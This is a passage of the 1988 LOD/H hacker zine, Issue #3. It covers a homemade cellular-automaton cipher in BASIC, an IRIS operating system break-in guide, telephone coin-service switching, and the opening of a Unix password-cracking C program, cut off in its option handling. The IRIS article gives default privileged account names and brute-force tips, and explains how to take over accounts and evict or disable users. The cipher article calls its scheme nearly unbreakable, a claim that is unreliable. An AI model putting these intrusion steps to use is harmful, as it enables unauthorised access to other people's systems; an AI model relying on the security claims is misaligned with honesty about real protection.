REM /* Now you assign the new character in array Q$ to Y$, and append
REM    it to your converted string */
  IF NUPOZ < 1 THEN
    NUPOZ = QSIZ - ABS(NUPOZ)
  END IF
  Y$ = MID$(Q$,NUPOZ,1)
  D$ = D$ + Y$
NEXT I

PRINT  "Original = ";C$
PRINT  "Modified = ";D$
END

REM /* This finds character X$ in array Q$ and returns an integer
REM    value of the location.  Called from the main loop. */
LOKPOZ:
  FOUND = 0
  POZ = 1
  TOP:
    IF FOUND = 1 THEN
      RETURN
    ELSE
      TMP$ = MID$(Q$,POZ,1)
      IF X$ = TMP$ THEN
        FOUND = 1
      END IF
      POZ = POZ + 1
      IF POZ > QSIZ THEN
        PRINT  "Error: Character '";X$"' not in array Q."
        END
      END IF
    END IF
  GOTO TOP

REM ***********************************************************************
```

End of Program Listing 1

This method, while extremely simple, tight, and fast, is not fool-proof. Most computers use the following algorithm for generating pseudo-random number sequences: x(t+1) = ax(t) + b

x(t+1) = next random number
x(t) = previous random number
a & b are constants that will cause a fairly even distribution

For example, if you were using a three-bit system (8 possible postive integers) you might make a = 3 & b = 7 (there's a reason behind using prime numbers that is beyond the scope of this file.) If you seed the argument with RANDOMIZE 5 you would get the following:

First x: x = 3*5 + 7 | Since we're restricting ourselves to three bits, and 22 won't fit in three bits, we'd need to perform a modula 8 on the number. (Modulo divides x by eight and keeps the remainder as the new value of x.) So MOD(22,8) is equal to 6 (16 + 6 = 22).

Ok, let's do some simple mapping using our vowel set and the above three-bit random number generator. Let's say that the message reads "AAEOU" Our first random number was 6. Our map looks like "AEIOU12345". POS(A) + 6 gives us 2 as the character.

Second x: x = 3*6 + 7 | MOD (25,8) = 1 | POS(A) + 1 gives us E.
Third x: x = 3*1 + 7 | MOD (10,8) = 2 | POS(E) + 2 gives us O.
Fourth x: x = 3*2 + 7 | MOD (13,8) = 5 | POS(O) + 5 gives us 4.
Fifth x: x = 3*5 + 7 | MOD (22,8) = 6 | POS(U) + 6 wraps around the map to A.

So our original "AAEOU" is crytped into "2E04A". This may at first seem difficult to crack since 'A' mapped into a '2' on one pass and an 'E' on the other, thus preventing a freuquency analysis from breaking the code.

Unfortunately, if someone knows the random number algorithm, they can easily hack out the key. Since most of the people using this will be using it on a pc, it would be trivial to get another pc to hack it out. And even if you protect your random number algorithm, it is still a straight linear algebra problem that an AT could work on over a weekend and probably figure it out, especially if there is a fairly small map to work with.

Solution: What we need to do is combine the random mapping with a random number generator that is tougher to figure out. Enter cellular automatons.

CA's were first invented in the 1940's when John von Neumann (he of the famous bottleneck) started to explore the mathmatic implications of very simple machines. CA's are made of geometric patterns of cells that change their state at each tick of a clock according to a fixed rule. Early work provided automatons that could imitate a basic computer. Since the CA's are inherently parallel (the entire geometry is updated each clock tick) and easy to put on a chip, there is speculation that the next generation of parallel processing computers will use CA's as a base rather than the Turing machine model.

You have probably seen a CA at work and not realized it if you've ever seen the computer graphic simulation 'LIFE' developed by John Conway at MIT to model real organisms. The rule for automaton reproduction was incredibly simple: If a cell has two or three neighbors, no change in the cell. Fewer or more neighbors, it starves or is overcrowded to death, and reproduction occurs when a blank space has exactly three neighbors.

Using these simple rules, incredibly complex patterns can be produced. Anything that can produce complex and varied results from a small algorithm is a good target for a random number application. Enter Steven Wolfram from the Institute of Advanced Studies in Princeton, NJ.

Wolfram has been doing research on one-dimensional cellular machines, which have the advantage of being able to work with both todays machines and future parallel machines. Wolfram has developed an automaton that is a one dimensional circular array modified by the rule:

a(x,t) = a(x-1,t-1) XOR (a(x,t-1) OR a(x+1,t-1)) MOD k

Where x is the position in the array and t is the time,
k is the number of available characters (k = LEN(Q$)),
and a is the one-dimensional array.

This rule has several interesting properties. The problem we had with linear algorithms was that simple algebra could be used to analyze the evolution of the algorithm (the patterns produced.) All that you have to do is figure out how *one* cell evolves, then apply that pattern across the entire array. In the above case, there is no way of analyzing the array at time t without loading the initial conditions and running the whole thing.

The second thing to note is that there are k to the power of w (where w is the width (number of cells) in array a) possible states the machine can be in, and not all of these states have a predecessor that generates it. These states are called 'Garden of Eden' states, and can only occur if they are set as an ititial condition.

As a result, this rule is neither a one-to-one mathmatical mapping, nor is it and onto mapping of the set of arrays into itself. In laymans' terms, this means that for any given array state it is impossible to tell what (if any) previous state generated it by mere pattern analysis.

While this isn't a file on breaking codes- about the only way to crack this one that's been discovered is to load *every* k**w state into memory and page through them searching for a pattern. This method can be defeated easily by setting w to more than 30 cells (assuming k=256, all the ASCII characters.) If you are using my array Q$, you might want to set w to 40 or more. Since 256 to the 30th power is about a zillion bits, roughly equal to the largest memory bank in existence, there isn't much chance of anyone breaking it. For the truly paranoid, set w to 50 and sleep easy at night.

Anyway, back to the algorithm...

Each of the cells is filled on one of the k integers from 0 to k-1, giving each cell k possible states. Wolfram found that the string of bits occupying the 0 position (a(0,1), a(0,2), a(0,3)...) forms a random sequence that passes all statistical tests, sometimes with better results than standard DES algorithms.

Let's break this down and see what it's doing. First of all, we will need two arrays. Each array is set up thus:

```
                        Array for Time One
        |------|       |------|       |------|      |------|
  |---->|a(0,1)|------>|a(1,1)|------>|a(2,1)|----->|a(3,1)|-----|
  |     |------|       |------|       |------|      |------|     |
  |-------------------------------------------------------------|

                        Array for Time Two
        |------|       |------|       |------|      |------|
  |---->|a(0,2)|------>|a(1,2)|------>|a(2,2)|----->|a(3,2)|-----|
  |     |------|       |------|       |------|      |------|     |
  |-------------------------------------------------------------|
```

The reason we need two arrays is so you can update the array without destroying anything in it. In other words, you start out with array 1 active, then you update the array into array 2 and change the active array to 2. On the next clock tick you will update the active array (now 2) into the inactive one (now 1) and set the active array back to 1. You keep swapping like this. Logically, you only have one array- the active one.

To initialize the array, the ASCII values of each character in the key are plugged into the first LEN(KEY$) spaces in the array. If you want to use a short key, modify the code to fill the *entire* array with values of the key (keep repeating a loop from 1 to W pulling characters out of K). Since the key can be anything printable, use something 10-20 characters long that you can remember- "HACK TO LIVE, LIVE TO HACK" is one of my favorites. Anyway, if you use a short (less than 10) key in this program, the distri- bution will be skewed for the first W MOD LEN(KEY$) itereations of the automaton, but will smooth out nicely after that.

After the array is filled, it operates exactly like the first program *except* when it need a random number of positions to move. Then it drops

down, updates each cell in the automaton, and then reads the value in A(0,time) as the random number to shift by.

Let's look at the modified encryption code.

```
REM ************************************************************************
REM
REM  This is an modification of Program 1 that doesn't use a machine
REM  specific random number generator, but instead uses a cellular automaton
REM  algorithm.  W is the width of the actual automaton.  A is dimensioned
REM  at 32 to avoid having to reference element 0 of the array, which is
REM  legal on some systems and illegal on the others.  This way it can
REM  be implemented on anything.  Y is set for time 1, Y1 for time 2.
REM  These correspond to the second dimension in array A.
REM
REM ************************************************************************

W = 30
DIM A(32,2)
Y = 1
Y1 = 2

REM ************************************************************************
REM
REM  Once again, you can set this up to use files instead of strings. And
REM  note that, unlike the first example, the key doesn't have to be
REM  numeric.
REM
REM ************************************************************************

INPUT "String to be encoded"; C$
INPUT "Key Please! (Can be alpha-numeric) ";K$


REM ************************************************************************
REM
REM  This is where K$ is broken down into a series of characters and their
REM  ASCII value shoved sequentially into array A.
REM
REM ************************************************************************

FOR I = 1 TO LEN(K$)
  T$ = MID$(K$,I,1)
  A(I,Y1) = ASC(T$)
NEXT I


REM ************************************************************************
REM
REM  The only difference between encoding and decoding is which way you
REM  move in your Q$ array space.  Encoding takes the original and shifts
REM  to the right, decoding takes the codes value and shifts to the left.
REM
REM ************************************************************************

REREAD:
  INPUT "Encode or Decode ? ";A$
  A$=LEFT$(A$,1)
  IF A$="E" OR A$="e" THEN
    A=1
    GOTO HEAD
  END IF
  IF A$="D" OR A$="d" THEN
     A=-1
  ELSE
```

```
    GOTO REREAD
  END IF

REM ************************************************************************
REM
REM  Q$ contains all the characters that can be encoded.  Every encoded
REM  character will be mapped to a character in this array.  I haven't
REM  included any non-standard characters, so you will have to customize
REM  it to your particular keyboard/system.  I've included an error check
REM  that will abort the encryption if it encounters a character that isn't
REM  in Q$.  I have to use the STRING$ command to insert the spacebar and
REM  the quote into the string.  It could also be done with a ASC(##) in
REM  many basics.  You could expand this to include any non-printable
REM  characters you'd like so you could do non-text files.
REM
REM ************************************************************************

HEAD:
  SPACE = 32
  QUOTE = 34
  Q$="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  Q$=Q$+"1234567890!@#$%^&*()-=_+[]$#;:'.><,/?X|"
  Q$=Q$+STRING$(1,SPACE)+STRING$(1,QUOTE)
  QSIZ = LEN(Q$)


REM ************************************************************************
REM
REM  This is the main loop.  L = length of the string to encrypt.  In this
REM  example, I am only encrypting a single string.  Most people who will
REM  actually use this will change the FOR loop to run until an EOF is
REM  encountered in the input file.  Since the syntax for that will vary
REM  widely from system to system, I'll leave it out.
REM
REM ************************************************************************

L=LEN(C$)
FOR H = 1 TO L

REM /* Finds the character I in the input string */
  X$ = MID$(C$,H,1)

REM /* Finds the integer location of the character in Q$
REM    returns variable POZ */
  GOSUB LOKPOZ

REM /* CELLULAR updates the cells in the automaton, switches the active
REM    time value, and returns X as the number of positions to shift. */
  GOSUB CELLULAR

REM /* If you are encoding, you will shift to the right using addition.
REM    you take the modula base QSIZ to keep the new character within
REM    the bounds of Q$. */
  IF A = 1 THEN
    NUPOZ = (POZ + X) MOD QSIZ
  ELSE

REM /* Otherwise, you subtract, which takes a bit more math to keep
REM    up with.  Once you have the distance to shift, you must
REM    convert it to a positive integer and then subtract two to
REM    account for the head & tail of the array. */
    NUPOZ = (POZ - X) MOD QSIZ
    NUPOZ = NUPOZ - 2
      IF NUPOZ < 1 THEN
```

```
        NUPOZ = QSIZ - ABS(NUPOZ)
      END IF
    END IF

REM /* Now you assign the new character in array Q$ to Y$, and append
REM    it to your converted string */
  IF NUPOZ < 1 THEN
    NUPOZ = QSIZ - ABS(NUPOZ)
  END IF
  Y$ = MID$(Q$,NUPOZ,1)
  D$ = D$ + Y$
NEXT H

PRINT  "Original = ";C$
PRINT  "Modified = ";D$
END

REM /* This finds character X$ in array Q$ and returns an integer
REM    value of the location.  Called from the main loop. */
LOKPOZ:
  FOUND = 0
  POZ = 1
  TOP:
    IF FOUND = 1 THEN
      RETURN
    ELSE
      TMP$ = MID$(Q$,POZ,1)
      IF X$ = TMP$ THEN
        FOUND = 1
      END IF
      POZ = POZ + 1
      IF POZ > QSIZ THEN
        PRINT  "Error: Character '";X$"' not in array Q."
        END
      END IF
    END IF
  GOTO TOP

REM ***********************************************************************
REM
REM  This is the cellular automaton
REM
REM ***********************************************************************

CELLULAR:

REM /* Goes through the loop updating into the inactive time (1 or 2 dep-
REM    ending on how Y and Y1 are assigned) */
  FOR I = 1 TO W
    A(I,Y) = A(I-1,Y1) XOR (A(I,Y1) OR A(I+1,Y1))
  NEXT I

REM /* Updates the ends of the array (logical positions 0 and 31) that
REM    are used in calculating other fields. */
  A(0,Y) = A(W+1,Y1) XOR (A(0,Y1) OR A(1,Y1))
  A(W+1,Y) = A(W,Y1) XOR (A(W+1,Y1) OR A(0,Y1))

REM /* Assigns the first cell to X as a random number */
  X = A(1,Y)

REM /* Flips the active time */
  TMP = Y
  Y = Y1
  Y1 = TMP
```

RETURN

Ok, let's trace through a *small* example. Assume our earlier map of "AEIOU12345" and an automaton of width 5. For a key, we'll use "A15".

1) Assign ASC(A) to a(1,1), ASC(1) to a(2,1), ASC(5) to a(3,1).
   ("0" will represent an empty cell in this example.)
   A(time 1) = 0 65 49 53 0 0 0
   (Remember that an array of width 5 is going to have 7 actual elements)

2) Now then, we want to encrypt the string "EE3"
   First, we locate where E is in our map. LOKPOZ("E") = 2

3) Now then, we update the automaton.
   a(1,2) = 0 XOR (65 OR 49)
   a(2,2) = 65 XOR (49 OR 53)
   a(3,2) = 49 XOR (53 OR 0)
   a(4,2) = 53 XOR (0 OR 0)
   a(5,2) = 0 XOR (0 OR 0)

   Since this isn't a tutorial on binary numbers and boolean algebra, you'll have to trust me on this one...

   a(1,2) = 113
   a(2,2) = 116
   a(3,2) = 4
   a(4,2) = 53
   a(5,2) = 0

4) Now we update the ends.
   a(0,2) = 0 XOR (0 OR 65)
   a(6,2) = 0 XOR (0 OR 0)

   Again...
   a(0,2) = 65
   a(6,2) = 0

5) Now we switch the active time from 1 to 2, and our new automaton is
   a(time 2) = 65 113 116 4 53 0 0

6) We then pull off a(1,2) as the number to shift by.

7) Postion 2 + 113 (we're encoding, so we add) is 5 (modulo arithmatic.)

8) "E" is encoded into "U".

9) We repeat this two more times (you don't really want me to step through it all, do you?) and end up with the encrypted version.

Well, that's going to pretty much wrap this file up. If you are interested in more files of this nature, let me know. If you find this totally confusing, but want to learn more, call The Phoenix Project at 512/441-3088 (300/1200/2400, 24 hours a day). Our friendly and helpful LOD/H staff will be glad to assist you. Other people who you might want to talk to about encryption include Dr. Cypher, Tuc, and Prime Suspect.

Also, if you are interested in seeing the above algorithm applied in other languages let me know. If there's enough of a demand I'll release C, Modula-2, and ADA versions.

This has been a Legion of Doom/Legion of Hackers presentation!

The Mentor

****

References and Acknowledgments:

"How to Generate Cryptographically Strong Sequences of Pseudo-Random Bits"; M. Blum & S. Micali; SIAM Journal of Computing, vol. 13, p. 850 (1984)

"Functions of Random Variables"; John Freund & Ronald Walpole; Mathmatical Statistics, 4th Edition; Prentice-Hall Inc., NJ; pp. 240-71

"Building an Encryption System"; Peter Wayner Computer Language, Vol. 4, Num. 12, p. 67 (Dec. 1987 Issue)

"Random Sequence Generation by Cellular Automata"; Institute for Advanced Study; Advances in Applied Mathmatics;

"Breaking Pseudo-Random Number Based Cryptographic Algorithms"; M. Vahle & L. Tolendino; CRYPTOLOGIA, Oct 1982, p. 319

Also my thanks to: TUC, The Leftist, Prime Suspect, and Dr. Cypher, who all contributed to this one way or another.

****

The LOD/H Technical Journal, Issue #3: File 07 of 10

```
            IIIIIIIIII   RRRRRRRRRR   IIIIIIIII   SSSSSSSSSS
                II       RR      RR      II       SS      SS
                II       RR      RR      II       SS
                II       RRRRRRRRR       II       SSSSSSSSS
                II       RR  RR          II              SS
                II       RR    RR        II       SS      SS
            IIIIIIIIII   RR      RR   IIIIIIIII   SSSSSSSSS

          #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
          |                                                   |
          #     Introduction to The Iris Operating System     #
          |                                                   |
          #                        by                         #
          |                                                   |
          #                    The Leftist                    #
          |                                                   |
          #              The Legion of Doom/Hackers           #
          |                                                   |
          #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
```

IRIS

<INTERACTIVE REAL TIME INFORMATION SYSTEM>

Iris is an operating system which most people have heard little or nothing about. Many Businesses across the country are starting to use computers which support the IRIS operating system. IRIS is not new though, it was originally written to run on PDP-11, Data General, and Royal Systems. IRIS has grown in popularity due to the major revisions which have been made over the years and is a fairly easy system for anyone to learn. This article, though not a complete guide to IRIS, will give you the basic knowledge neccesary to identify, enter, and access information once in.

Finding IRIS

You'll know you've found an IRIS system by its login banner, which usually looks like this:

```
Welcome to "IRIS" R9.1.4 timesharing

This is Dr. BOB'S OFFICE!

ACCOUNT ID?
```

Logging in

To log into an IRIS system after connecting <at 7E1 usually> press the escape key. You should get a message asking for account ID at which point you would enter your ID followed by a c/r. You're in the system when you get a # prompt. If you've entered an incorrect ID, the normal error message would be:

```
INVALID
```

The nice thing about IRIS from a hacker point of view is that it will allow you to brute force hack your way in, never keeping a log of unsuccessful tries, and never hanging up on you.

If you don't think your ID is being entered properly, you can turn the echo back on by first hitting a Control-E. If you suspect parity trouble on your login <ie: the E key beeps every time you hit it> try hitting a Control-P to change the parity.

Default Accounts

Try the account names below, and also try them with 1 or 2 spaces after them in upper and lower case.

ACCOUNT	COMMENTS	Privelege level	
DDDDDDD	DDDDDDDDDDDDDDDDDDDDDDDDDD	DDDDDDDDDDDDDDDDDDDDDDDDDDD	
MANAGER	< works 99% of the time >	3	full system priv's
BOSS	< manager account >	3	full system priv's
SOFTWARE	< software dept account >	2	general user access
DEMO	< demonstration account >	1	scum of the earth priv's
PDP8	< always on rev 7.0 >	3	full system priv's
PDP11	< always on rev 7.0 >	3	full system priv's
ACCOUNTING	< accounting dept. >	2	general user

Also try the company's name, or its intials. Sometimes system operators place control characters in their ID's, or spaces <usually one, sometimes two> at the end of their account names, this security 'trick' is used due to the operating system not asking for passwords. Like PRIMOS version 18 systems, all you needed was a valid username to get in. There are plans of implementing passwords in the future for IRIS.

YOU'RE IN!

So you're in- hopefully with full priv's.

The users Privilege Level may be 0, 1, 2, or 3 indicating General, Privileged, Manager, or Superuser privileges respectively. Only the Superuser account can access the ACCOUNTS file, but all level two accounts are given most other privileges that a level 3 account have.

If you were able to log in with a privilege level of 3, you'll be allowed to run the program ACCOUNTUTILITY or ACCOUNTS, depending on the version of IRIS is running. This is almost always found on LU 0, along with all the other system utilities. ACCOUNTUTILITY is menu driven, and you should have no problem using it.

Accounts File

The Accounts File contains the following information

Account ID
Assigned priority
Assigned Logical Unit #
Account# <Group and User>
Alloted CPU time <in seconds>
Alloted disk blocks
Number of disk blocks in use
Peak # of disk blocks in use
Net File Charges

ACCOUNTUTILITY

This program is for editing the accounts on the system. You must be a manager on the system <level 3> to run this program, or else have a way to change the protection of BOTH the accounts file, and the ACCOUNTUTILITY program. If this is done, anyone can run the program. After typing ACCOUNTUTILITY you'll get the following menu:

```
ACCOUNTS FILE MAINTENANCE  REV 2.2

(0) EXIT TO SYSTEM
(1) ADD NEW ACCOUNT
(2) MODIFY ACCOUNT
(3) DELETE ACCOUNT
(4) INQUIRE ACCOUNT
(5) LIST THE ACCOUNTS

ENTER FUNCTION NUMBER:
```

It's all pretty straightforward, I don't think I need to go on about this feature...

What to do Inside

The first thing you want to do once inside IRIS is to issue the command PP which will show you who's on, and what they're currently doing. Sometimes PP has been renamed to PORT ALL MONITOR. If you logged in and it said your Logical Unit was not active, you must install the system under the MANAGER account. To do this, log in on a full privs account, and type IN, INSTALL, or FASTINSTALL. This should allow you to activate all the system's Logical Units. Normally, the Logical Units (referred to as LU's) range from 0-99, 99 being a ramdrive. If you choose to just install Logical Unit number one, the command would be INSTALL 0.1 and so on. If you are told Logical Unit x exists, change? DO NOT CHANGE IT! Instead, attempt to install a Logical Unit that doesn't already exist.

To list all the files on the Logical Unit assigned to your account, type LIBR.
To list only certain files type LIBR x where x = searchcriteria.
To list the files on another LU, type LIBR x/ where x = the LU number.
To list all the files that you have read access to, type LIBR @.
To list only files that belong to you, type LIBR @g,r where g is your group, and u is your user #.
To list files accessed within h hours, type LIBR >h where h is a decimal #.

Anyway, you'll see something like this:

```
#LIBR

LOGICAL UNIT #0       JUL 30, 1988  19:50:03

* FILENAME[VOL]  PROT   COST  SIZE  ACCOUNT  AGE  HSLA  TYPE  PRIV  HBA
S  ASM            33   $0.00    11    0, 1  11068 11068  401   3    400
B  RUN            33   $0.00    21    0, 1  11068     0  602   3    344
T  SU.DSUBS       22   $0.00    22    0, 1  11068     5   30   3      7
```

and so on....

Running Programs

Most Application Software for IRIS is written in business basic, which is basic with extended functions specifically for business applications.

To execute a runnable file at the # prompt, just type the file's name.
To exit into basic, just type BASIC.
To run a program, simply type its name.
To load a program type BASIC LOAD x where x = filename.
To list a program once in basic, type X LIST X where, in both cases X = the line you want to list or simply type LIST to list all the lines of the program.

File Type Chart

Number	Letter	File Type
0	P	Permanent System File
1	S	System processor or file
2	B	BASIC processor or program
3	A	Stand alone processor or program
4	X	EXECUTE processor or program
5	G	GPM program
6	M	MUMPS processor or program
7	W	COURSE WRITER processor or program
20	Q	Stand alone compiler
21	J	Stand alone relocating assembler
22	L	Stand alone relocatable loader
23	R	Relocatable binary object tape image
24	I	Indexed relocatable binary library
27	Z	Temporary file
30	T	Text file
31	F	Formatted data file
32	C	Contiguous data file
36	$	Peripheral device driver

Passworded Files

Sometimes a password will be added to the end of a file name to limit access to users who have knowledge of the password. To access a passworded

file, type the following: FILEX ^Epass^E

The ^E is correctly represented as Control-E. The common defaults for passworded files <especially on LU0> are the letter X and the word THINK.

Kicking Users off the System

This is something you do not want to do unless an emergency situation arises, in which case you would issue the PPP command. This is the port eviction utility. It will then ask you which port you would like to evict or you may type the word ALL to evict everyone but yourself. This is useful if you hang a printer port, or are afraid you may have dumped data to a printer which is offline.

PORT.STAT

This command gives you the status of a given port, and its channels. to run it type:

PORT.STAT

PP

PP lets you see who is on the system, what port they're on, what baud rate they're running, and what process they're running. Just type PP from the # prompt. IRIS will give you information about the ports on the system and then will ask you if you would like channel status. Either type in the channel that you wish to see the status of, or hit return to exit.

GAMES

Yes, there are even games on IRIS, all the old PDP games hunt the wumpus, tic-tac-toe, etc...sure to provide hours of amusement.

Changing the Baud Rate of a Port

To change a port's baud rate, type PORT BAUD x where x is a standard baud rate <110,300,600,1200,2400,9600,19200>. Don't change the baud rate of the port you are on. This command is useful for temporarily disabling a user.

Copying Files

Copy is a general purpose command for moving data of any type from a specified source to a specified destination. Also, data from several sources can be merged into one destination file.

The general form of the copy command is:

Copy dest = Source1,Source2 etc....

Where dest is the filename under which the destination file is to be built.

Mail

To mail a one line message to another port, the following command applies:

MAIL p "Hello My name is Joe Comosolo" where p = the port # to mail to.

Loading Text Files

A text file can be loaded by use of the command:

EDIT SFILE,DFILE
an exclamation mark must be used to copy over an existing file.

A new text file may be created by typing:
EDIT,Filename

If you just want to examine a text file, then just type
EDIT Filename

Some systems also have the TYPE filename command.

BYELOG

This command allows you to edit the login message you receive before you are prompted for your account id. The syntax is:

BYELOG message to be printed

Logging Off

>From the # prompt, type BYE and hit return.

Conclusion

I hope that article file proves useful. Keep it in your archives for the next time you stumble onto an IRIS system. If you have any questions, comments, or gripes, I can be reached on The Phoenix Project at 512/441-3088.

The LOD/H Technical Journal, Issue #3: File 08 of 11

Coin Service, The Central Office, and You

by

Phase Jitter

Legion of Doom!

In this file I will attempt to give a basic overview of how various central offices handle coin service. If you feel your interest grows due to this file there are other good technical documents about coin service, i.e. Bell System Practices, CDs, PDs ect..

Coin service is differentiated from other services by a special class of service. All switching systems give -48 volt battery toward the coin phone on the ring side of the line. Coin-First lines have an open TIP during a normal receiver-on-hook condition. When a line goes off hook the central office takes no action and in fact can not detect the off hook condition due to the line's conditioning-for-ground start. When the customer deposits money the coin ground is extended to the ring side of the line. The ground signals the line equipment in the central office as a to give a dial tone.

Dial-Tone First offices give both the battery and ground to the coin station, thus providing a dial tone equivalent to a POTS phone. All coin service is super current sensitive. (The central office must give at least 23 milliamps of line current and 41 milliamps of coin control current to the farthest coin station.)

The switching systems differ in the method which calls are handled.

No. 5 Crossbar

The No. 5 crossbar coin-first offices must have a dual wound line relay with both windings in series when dealing with a coin first situation. If any Coin-First lines are served in a No. 5 crossbar office the originating registers must be able to desensitize the (pulsing) L relay by providing a resistive ground throgh its tertiary winding via the coin class of service relay.

Crossbar offices can give coin return from Originating Registers, TSPS/Cordboard trunks, Ring and Tone trunks, Announcement trunks, and Coin Supervisory circuits. Coin collect current is only given through TSPS/Cordboard trunks and Coin Supervisory circuits. The only circuit that can handle a stuck coin test is the coin supervisory circuit.

Crossbar offices handle coin actions on locally completed calls in the coin supervisory circuit (CS). All trunks must have access to the CS circuit or use coin junctors or coin 1A0 trunks that have such access. The use of coin junctors or coin 1A0 trunks elimnate the need for other trunks to be hard wired to the Coin Supervisory Link. When the trunk's supervisory relays show a coin action is needed the trunk searches for an idle Coin Supervisory Circuit through the Coin Supervisory Link. The bridged connection allows the Coin Supervisory Circuit to give the proper collect or return current toward the coin telephone and test to see if the action was successful.

Crossbar offices handle coin actions required by DDD calls or TSPS operators in the No. 5 crossbar TSPS trunk. The TSPS base unit signals the No. 5 office by either frequencies or multiwinks. The No. 5 office receives these signals and the trunk applies one pulse of coin collect or return or ring back. The No. 5 TSPS trunk dose not make a test to see if the required coin action is successful. If the coin is still present the call is dropped and the coin remains in the trap.

ESS

ESS offices provide all coin control actions from the Coin Control Circuit. The Coin Control Circuit is switched to a customers line under program control. The Coin Control Circuits always make a stuck coin test at the end of a call.

ESS offices handle coin actions required by DDD or TSPS operators by scanning the TSPS trunk looking for any control signals from the TSPS base unit. When the ESS office sees a request on the TSPS trunk the ESS office

opens the talking path and attaches a multifrequency (MF) reciever. The MF reciever looks at the tones being sent from the TSPS base unit transmitter and checks if the signal requested is a coin collect, coin return, ring back, or operator attached.

Dial-Tone First (DTF) offices not equipped with expanded In-Band Signaling give +48V talk battery during operator attached and 48V talk batttery during the rest of the call. If the TSPS signals for coin return the ESS office will open the talk path again, release the MF receiver and switch the line to the Coin Control Circuit which applies -130V coin return potential. After the coin control function is finished the system will make on recycle attempt if the coin ground is still present.

Local calls are handled within the ESS machine. When a coin control function is required the program momentarily opens the talk path and switches the line to a Coin Control C cuit which applies the required current.

Step By Step

Coin lines in a Step By Step area are served on dedicated Line Finder groups. The Line Finders are hardwired to a coin box trunk and then cabled to a first selector appearance.

Step By Step offices can give coin return from coin box trunks, TSPS/Cordboard trunks, and other miscellaneous trunks. (My knowledge of Step By Step is vague, it's kind of like trying to research dinosaurs.)

Step By Step offices handle coin actions on local calls in the coin box trunks. The coin box trunk applies the coin control current through the winding of a relay to the coin station hopper trigger ground. When the coin station ground disappears, the coin box trunk relay releases and allows the connection to restore to normal. Some Step By Step offices have a timed release circuit that will time out after about eight attempts of coin control action, peg the stuck coin register, then release. If the timed release circuit is not provided and a coin ground can not be removed, the circuit must be manually released.

Step By Step offices handle coin actions required by DDD calls or TSPS operators in the Step By Step TSPS trunk. The TSPS base unit signals the Step office by either frequencies or multiwinks. The Step office trunk recicves these signals and trunk applies one pulse of coin collect, coin return or ring back. The trunk does not make a test to see if the action was successful.

If a DDD call was completed to a busy number the Step By Step TSPS trunk will apply one quick pu e of coin return toward the coin station, then the coin box will check to see if the coin ground has disappeared. If the ground is still present the coin box trunk will repeat the attempt to collect the coin.

If you have any further questions about how the central office handles coin service or about coin service in general, I can be reached via E-mail on The Phoenix Project at 512/441-3088.

Oct 1988 - Phase Jitter....Legion of Doom/Hackers!

----------> UNIX Password Hacker: Courtesy of USENET <----------

The following is an extensive unix password hacking program taken off USENET awhile back. It resembles Shooting Sharks' HPW.C program in some ways but this program has more options. Read the REM statements to determine what options you wish to enable. If nothing else, this program can give those who wish to write a similar program an idea of how and what you want to put in it.

```
- - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - -
-


#include <stdio.h>
#include <pwd.h>
#include <ctype.h>

#define index strchr
#ifndef lint
static char *rcsid = "$Header: pwchkr.c,v 1.2 85/11/30 22:42:07 richl Exp $";
#endif

/*
 * Warning: this program burns a lot of cpu.
 */
/*
 * pwchkr - find accounts with poor passwords
        Date: Tue, 29 Nov 83 18:19:32 pst
        From: leres%ucbarpa@Berkeley (Craig Leres)
            Modified by Seth Alford, Roger Southwick, Steve Dum, and
            Rick Lindsley for Tektronix
 */

/*
 *      $Log:   pwchkr.c,v $
 *      Revision 1.2  85/11/30  22:42:07  richl
 *      Added code to allow for password aging.
 *
 *      Revision 1.1  85/09/10  16:00:56  root
 *      Initial revision
 *
 *
 * By default, this program only checks for accounts with passwords the same
 * as the login name. The following options add more extensive checking. (The
 * tradeoff is cpu time -- with all options enabled it can run into the 100's
 * of MINUTES.) Any argument that does not begin with a "-" is assumed to be
 * a file name. (A single '-' means stdin.) If no file name is given,
 * /etc/passwd is used.
 *
 * Options:
 *
 *              -v:     verbose -- list all guesses on stdout
 *              -u:     output teh username on the line of the password file
 *                      currently being checked. If the program stops
 *                      abruptly you will then know how far it got.
 *              -w file: use the list of words contained in "file" as likely
 *                      passwords. Words in the file are one to a line.
 *              -b:     check all guesses backwards too
 *              -g:     use the Full Name portion of the gecos field to
 *                      generate more guesses
 *              -s:     check the single letters a-z, A-Z, 0-9 as passwords
 *              -c:     with each guess, check for all-lowercase and
 *                      all-uppercase versions too.
 *              -n:     complain about null passwords (default is to keep
quiet)
 */

int verbose = 0, singles = 0, backwards = 0, checkgecos = 0, checkcase = 0,
    chknulls = 0, users = 0, chkwords = 0;

char *index(), *reverse();
```

```
long atol();
FILE *fopen();
char *fgets();

char PASSWD[] = "/etc/passwd";
char EMPTY[] = "";
static FILE *pwf = NULL, *wlf = NULL;
char line[BUFSIZ+1];
struct passwd passwd;
char    *Curpw, *Wordlist = NULL;

main(argc, argv)
char **argv;
$
    register int i;
    register char *arg;
    int onedone = 0;


    for (i = 1; i < argc; i++)
        if ((arg = argv[i]) && *arg == '-')
            while (*++arg) $
                switch (*arg) $
                    case 'n':
                        /*
                         * complain about null passwords
                         */
                        chknulls++;
                        break;
                    case 'c':
                        /*
                         * check cases
                         */
                        checkcase++;
                        break;
                    case 'g':
                        /*
                         * use gecos
                         */
                        checkgecos++;
                        break;
                    case 'v':
                        /*
                         * turn on motormouth
                         */
                        verbose++;
                        break;
                    case 'b':
                        /*
                         * check all attempts forwards and backwards
                         */
                        backwards++;
                        break;
                    case 's':
                        /*
                         * carry out a more intensive search, checking for
                         * single letter passwords
                         */
                        singles++;
                        break;
                    case 'u':
                        /*
                         * print out users as testing
                         */
```

```
                        users++;
                        break;
                    case 'w':
                        /*
                         * consult word list of likely passwords
                         */
                        if ((Wordlist = argv[i+1]) == NULL) $
                            fprintf(stderr,
                                "%s: No file supplied with -w optionXn",
                                argv[0]);
                            exit (1);
                            #
                        argv[i+1] = NULL;
                        break;
                    case 'X0':
                        /*
                         * read from stdin
                         */
                        break;
                    default:
                        fprintf(stderr,
                            "%s: unknown option '%c'. Options are:Xn",argv[0],
                            *arg);
                        /* FALL THRU */
                    case '-':
                        fprintf(stderr,"-v:XtXtverbose -- list all guesses on
stdoutXn");
                        fprintf(stderr,"-u:XtXtoutput the username currently
being checkedXn");
